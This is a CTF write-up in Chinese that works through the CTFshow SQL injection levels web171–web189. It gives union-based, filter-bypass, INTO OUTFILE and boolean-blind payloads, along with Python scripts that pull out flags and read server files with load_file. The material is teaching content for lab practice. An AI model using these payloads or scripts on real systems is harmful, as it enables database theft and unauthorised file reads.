CTFSHOW-web入门-sql注入(web171——web189)

web171(无过滤)

image-20250419124336706

通过下面的payload

1' or 1=1 --+

这个payload代到语句中就是

$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;";

可以发现即使前面对username和id的判断没成立,后面的1=1也必定成立,所以他会打印所有的用户信息。

image-20250419124641577

成功获得flag

web172

image-20250419130417551

打开题目看到一只猫,此时查看源代码。

image-20250419130457973

发现2.php也就是第二关的真实入口

image-20250419130545904

可以发现比上一关多加了一个对查询到的结果的用户名进行判断。

尝试下面的payload

-1' or 1=1 union select 1,2 --+

image-20250419130659929

可以发现显示的内容有两行并且都是回显点

然后尝试下面payload获取数据库名

-1' or 1=1 union select 1,database() --+

image-20250419130817382

成功获得数据库名为ctfshow_web

再获取表名

-1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' ) --+

image-20250419130903663

成功获得表名为ctfshow_user,ctfshow_user2

先查询ctfshow_user的列名

-1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' ) --+

image-20250419131147777

然后查询列信息

-1' or 1=1 union select 1,(select group_concat(username,'~',password) from ctfshow_web.ctfshow_user) --+

image-20250419131424054

发现flag处信息说flag不在这,那试试ctfshow_user2

image-20250419131520120

成功获得flag

其实写完才发现查询语句已经告诉了我们查的是ctfshow_user2,可以直接查这个表的信息,但是这样也演示了一遍常规的解题过程,要熟悉这一套流程。

web173

image-20250419133258230

可以看到这次是对序列化后的查询结果,看是否有flag,如果有则查询不成功,如果没有则查询成功。

那我们输出直接输出我们想要的password就好了

' union select 1,2,password from ctfshow_user3 --+

image-20250420094957506

web174

image-20250420085302860

这次是检测序列化后的结果中是否存在flag或则数字,如果存在则过滤掉。

那其实很容易便能想到将结果通过编码或者是某种替换规则来让结果中没有数字

首先我先想到的是base64编码,但是想到编码后也有数字说明不行。

那么就可以通过mysql中的REPLACE语句,将0-9的数字全部替换成自定义的字母A-J便可以绕过,然后再通过同样的方式解密即可获得flag。payload如下

1 ' union select to_base64(username),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 --+

image-20250420091349875

成功获得flag,然后我们也可以发现sql语句中可以通过to_base64来进行base64编码,日后可以用来绕过某些规则。比如前面的对flag的过滤就随便绕过。

然后我们编写python脚本将其还原

def convert_flag(encoded_str):
    # 定义大写字母到数字的映射规则
    mapping = {
        "A": "1", "B": "2", "C": "3", "D": "4", "E": "5",
        "F": "6", "G": "7", "H": "8", "I": "9", "J": "0"
    }

    result = []
    for char in encoded_str:
        if char in mapping:
            # 大写字母按规则转换
            result.append(mapping[char])
        elif char.isupper():
            # 如果遇到未定义的大写字母(如 K-Z),保留原字符并提示警告
            print(f"警告: 字符 '{char}' 未定义映射规则,将保留原值")
            result.append(char)
        else:
            # 小写字母和符号直接保留
            result.append(char)
    return "".join(result)


# 输入待转换的字符串
input_str = "acDeGeCI-eGbf-DDCf-HbDG-eaaDEbCCcbIc"
# 调用函数转换
output_str = convert_flag(input_str)
# 输出结果
print(f"转换后的Flag为: ctfshow{{{output_str}}}")

我还是菜鸡,不太会写,所以让ai写的。还是得多写多练代码能力

转换后的Flag为: ctfshow{ac4e7e39-e7bf-443f-8b47-eaa45b33cb9c}

web175

image-20250813190717664

这一次是过滤了所有的ascii码字符,那么想要直接将flag显示出来肯定不太可能了。

这时候可以将查询结果输出到指定文件中,又或者可以时间盲注。

image-20250813190914503

从指纹信息中可以发现使用的是nginx,而nginx的网站根目录是/var/www/html

我们便可以将查询结果输出到根目录下的文件里

payload:

-1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

image-20250813191148584

显示接口异常不用管,直接访问flag.txt

image-20250813191212973

web176(开始有过滤)

开始有过滤的sql注入

image-20250813191728370

先尝试最简单的注入

-1' or 1=1 --+

image-20250813192027035

直接拿到flag

web177

测试发现过滤了空格,绕过空格方式有下面几种

/**/
%0a:换行
%09:tab
%0c:换页
括号
反引号``

等等.....

payload:

-1'/**/union/**/select/**/1,username,password/**/from/**/ctfshow_user/**/%23

web178

测试发现过滤了/**/

换别的替代即可

-1'union%0aselect%0a1,username,password%0afrom%0actfshow_user%23

image-20250813194004599

web179

这一次测试发现,%0a与/**/以及%09都不行。试试用%0c

-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%23

image-20250813194152295

web180

测试发现将%23也就是#给过滤了,可以换成–%0c

payload:

-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user--%0c

image-20250813194554305

web181

这一次题目将过滤字符告诉我们了

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

可见将能代替空格的基本都给过滤了,并且select与into也给过滤了。这说明不让我们执行select语句,以及将结果输出到指定文件。

还可以通过下面的payload:

0'||username='flag
0'or(username)='flag

||其实就等效于or

代入到sql语句中就是

select id,username,password from ctfshow_user where username !='flag' and id = '0'||username='flag' limit 1;

image-20250813200843953

web182

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

这一次将flag也给过滤了

可以通过下面几种方式绕过:

concat拼接flag:
-1'||(username=concat('fl','ag'))and'1'='1

使用like模糊匹配:
-1'||(username)like'%fl%

使用%01代替空格
-1'||'1=1'--%01

image-20250813203144344

web183

image-20250814170419348

post 提交一个 tableName 参数进行查询,猜测表名还是 ctfshow_user:

tableName=ctfshow_user

image-20250814170549312

发现回显只有一个变量$user_count了。

并且依旧过滤了很多字符,但是发现like与where没有过滤,可以尝试模糊匹配

tableName=(ctfshow_user)where(pass)like'ctfshow{%'

image-20250814175322082

尝试匹配不相干的

tableName=(ctfshow_user)where(pass)like'%test%'

image-20250814175409807

十分明显的bool盲注的特征。

那么便可以通过不断往 flag 后面新增字符进行猜解,通过看响应中是否包含$user_count = 1;字段来判断是否匹配成功,最终拼凑成完整的flag;

import requests

url = "http://1705480f-47eb-455e-a5a4-4ef7d39d2871.challenge.ctf.show/select-waf.php"

# flag包含的字符集
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"

flag = "ctfshow{"

# 不知道flag多少位,所以循环50次
for i in range(0,50):
    # 遍历字符集
    for j in dic:
        payload = {'tableName': f"(ctfshow_user)where(pass)like'{flag+j}%'"}
        response = requests.post(url,data=payload)
        if "$user_count = 1;" in response.text:
            flag+=j
            break
    print(flag)
    
    # flag以}结尾则结束
    if flag.endswith('}'):
        break

image-20250814175843890

成功跑出flag

web184

image-20250814191901623

这一次sql语句变成了count(*),没有指定明确的字段了。

还是先查一下是不是ctfshow_user表

tableName=ctfshow_user

image-20250814192135538

发现表没有变,但是这一次又多过滤了一些字符,引号与where也不能用了。但是like和空格没被过滤。

可以使用having代替where,like匹配的字段可以通过十六进制编码绕过。

补充知识点:having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的,如果已经筛选出了某个字段,这种情况下 having 和 where 等效,但是如果没有 select 某个字段,后面直接 having 这个字段,就会报错。

比如说

select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效

select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错,因为前面并没有筛选出 goods_price 字段

所以payload如下:

tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25

通过group by筛选出一个字段,0x63746673686f777b25是ctfshow{%的十六进制编码。

image-20250814192907023

发现有回显了,那么依然可以使用bool盲注。

我们修改一下上一题的脚本

import requests

url = "http://3b6b22f0-e5f0-45d3-8b9d-535e0ddd80aa.challenge.ctf.show/select-waf.php"
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"
dic = [f"{ord(c):02x}" for c in dic]  # 将字符转为十六进制格式

flag = "0x63746673686f777b" # ctfshow{
for i in range(0,50):
    for j in dic:
        payload = {'tableName': f"ctfshow_user group by pass having pass like {flag+j}25"}
        response = requests.post(url,data=payload)
        if "$user_count = 1;" in response.text:
            flag+=j
            break
    print(flag)
    if flag.endswith('7d'): # 以}结尾
        flag = flag[2::]  # 去除0x
        flag = bytes.fromhex(flag)
        print(flag)
        break

image-20250814195008254

直接跑出flag

web185

这一次将数字都给过滤掉了

image-20250814200827875

可以使用 true 结合 concat 拼接出数字

select concat(true+true+true+true+true,true+true+true+true+true+true)

# 56

附上一个yu师傅的脚本(yu师傅的身影无处不在,实在是太强了)

#author:yu22x
import requests
import string
url="http://5f9e9c0c-2ce8-4188-b023-4f5b9d5ca977.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break

再附上一个我觉得写的很好的脚本

import requests

def creatNum(n): # 3 = true + true + true
    str = ''
    for i in range(1,n+1):
        if i == 1:
            str += "true"
        else:
            str += "+true"
    return str

def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
    res = ""
    for i in range(1,len(str)+1):
        temp = ord(str[i-1])
        if i == 1:
            res = "chr(" + creatNum(temp) + ")"
        else:
            res += "," + "chr(" + creatNum(temp) + ")"
    return res

url = "http://aa30843a-f24f-4fb5-b65d-b754e2918af7.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
    for ch in letters:
        result = creatStr(flag + ch)
        data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
        res = requests.post(url = url, data = data)
        if "$user_count = 1;" in res.text:
            flag += ch
            print(flag)
            # if ch == '}': 
            #     exit()
            break # 寻找下一个位置 ctfshow{554eba7f-6703-44fd-85ad-c35a8fe3512a}

image-20250814201052796

套上ctfshow{}即可

web186

image-20250814210448612

这一题比上一题多过滤了%|<|>|^

还是可以使用上一关的脚本

import requests

def creatNum(n): # 3 = true + true + true
    str = ''
    for i in range(1,n+1):
        if i == 1:
            str += "true"
        else:
            str += "+true"
    return str

def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
    res = ""
    for i in range(1,len(str)+1):
        temp = ord(str[i-1])
        if i == 1:
            res = "chr(" + creatNum(temp) + ")"
        else:
            res += "," + "chr(" + creatNum(temp) + ")"
    return res

url = "http://a22dae2c-2489-431c-955b-1cdb2e81f449.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
    for ch in letters:
        result = creatStr(flag + ch)
        data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
        res = requests.post(url = url, data = data)
        if "$user_count = 1;" in res.text:
            flag += ch
            print(flag)
            # if ch == '}':
            #     exit()
            break

image-20250814220253264

web187

image-20250814224741382

md5($_POST[‘password’],true)

对提交的 password 进行 md5 加密,由于 md5 函数第二个参数为 true,因此会返回16 字节的二进制字符串。

要求用户名只能是admin,那么注入点只能是password,但是password会进行md5(…, true)。

这时候便要提一个神奇的字符串:ffifdyop

image-20250814225509861

将这个拿去Hex解密

image-20250814225849724

在转为字符串时会出现乱码 'or’6É]é!r,ùíb。

第一个引号可以将password的引号给闭合,而or后面的第一个字母只要不是0,都会被认为是true,从而实现sql注入的绕过。

所以用户名是admin,密码是ffifdyop。

image-20250814230225309

web188(sql特性)

image-20250814231735360

在sql中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。

而此题中的username并没有引号。如果我们让username=0的话,便可以匹配到所有username是以字母开头的。

关于密码的比较使用两个等号,也是弱类型比较。

因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户:

image-20250814232129224

在响应中可以看到flag

image-20250814232107190

web189

image-20250815142703740

使用00显示密码错误。

题目提示说flag在flag在api/index.php文件中。但是打开查看什么都看不到

image-20250815142830670

第一想法就是通过mysql当中的load_file进行文件读取。

但是此题依旧过滤了大部分的字符

image-20250815143057175

可以使用bool盲注的方式,通过load_file读取文件,并截取每一个字符与可打印字符比对,直到将文件内容全部打印。

脚本如下

#author:yu22x
import requests
import string
url="http://8e7d622f-9b8e-4a11-9388-5b2b4d91f152.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
# 从257个字符开始才是flag
for i in range(257,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)
            print(flag)
            break

image-20250815143307508

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值